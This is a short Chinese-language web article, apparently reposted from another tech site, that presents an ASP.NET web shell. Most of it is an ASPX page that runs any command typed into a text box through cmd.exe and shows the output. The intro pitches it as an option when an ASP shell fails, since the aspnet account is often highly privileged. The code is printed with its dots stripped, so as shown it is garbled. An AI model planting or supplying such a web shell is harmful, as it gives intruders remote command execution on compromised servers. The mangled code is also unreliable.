熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> .NET編程 >> 正文

一個ASP.Net下的WebShell實例

2022-06-13   來源: .NET編程 
一個ASPNet下的WebShell主要完成cmd命令一般的服務器設置aspnet用戶的權限都比較高如果asp的webshell無法執行可能aspnet的可以執行  

  代碼如下

復制代碼 代碼如下:

  
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="SystemRuntimeInteropServices" %>
<%@ Import Namespace="SystemIO" %>
<%@ Import Namespace="SystemData" %>
<%@ Import Namespace="SystemReflection" %>
<%@ Import Namespace="SystemDiagnostics" %>
<%@ Import Namespace="SystemWeb" %>
<%@ Import Namespace="SystemWebUI" %>
<%@ Import Namespace="SystemWebUIWebControls" %>
<script runat="server">
protected void exec(object sender EventArgs e)
{
    string item = cmdText;
    Process p = new Process();
    pStartInfoFileName = "cmdexe";
    pStartInfoUseShellExecute = false;
    pStartInfoRedirectStandardInput = true;
    pStartInfoRedirectStandardOutput = true;
    pStartInfoRedirectStandardError = true;
    pStartInfoCreateNoWindow = true;
    string strOutput = null;
    pStart();
    pStandardInputWriteLine(item);
    pStandardInputWriteLine("exit");
    strOutput = pStandardOutputReadToEnd();
    pWaitForExit();
    pClose();
    ResponseWrite("<pre>");
    ResponseWrite(strOutput);
    ResponseWrite("</pre>");
}
    protected void Page_Load(object sender EventArgs e)
    {
    }
</script>
<form id="form" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>


From:http://tw.wingwit.com/Article/program/net/201311/14367.html
    推薦文章
    Copyright © 2005-2022 電腦知識網 Computer Knowledge   All rights reserved.